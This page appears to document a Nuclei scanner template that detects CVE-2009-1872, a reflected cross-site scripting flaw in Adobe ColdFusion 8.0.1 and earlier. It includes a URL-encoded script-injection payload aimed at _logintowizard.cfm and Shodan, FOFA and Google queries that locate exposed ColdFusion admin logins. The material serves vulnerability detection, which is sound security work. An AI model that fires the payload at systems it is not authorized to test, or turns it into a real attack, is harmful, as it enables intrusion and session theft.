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Adobe Coldfusion <=8.0.1 - Cross-Site Scripting

ID: CVE-2009-1872

Severity: medium

Author: princechaddha

Tags: cve2009,cve,adobe,xss,coldfusion,tenable

Description

Section titled “Description”

Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm.

YAML Source

Section titled “YAML Source”
id: CVE-2009-1872


info:
  name: Adobe Coldfusion <=8.0.1 - Cross-Site Scripting
  author: princechaddha
  severity: medium
  description: Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Adobe Coldfusion to a version higher than 8.0.1 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.tenable.com/cve/CVE-2009-1872
    - http://www.adobe.com/support/security/bulletins/apsb09-12.html
    - http://www.dsecrg.com/pages/vul/show.php?id=122
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1872
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2009-1872
    cwe-id: CWE-79
    epss-score: 0.37553
    epss-percentile: 0.97102
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2009,cve,adobe,xss,coldfusion,tenable


http:
  - method: GET
    path:
      - '{{BaseURL}}/CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2009/CVE-2009-1872.yaml"

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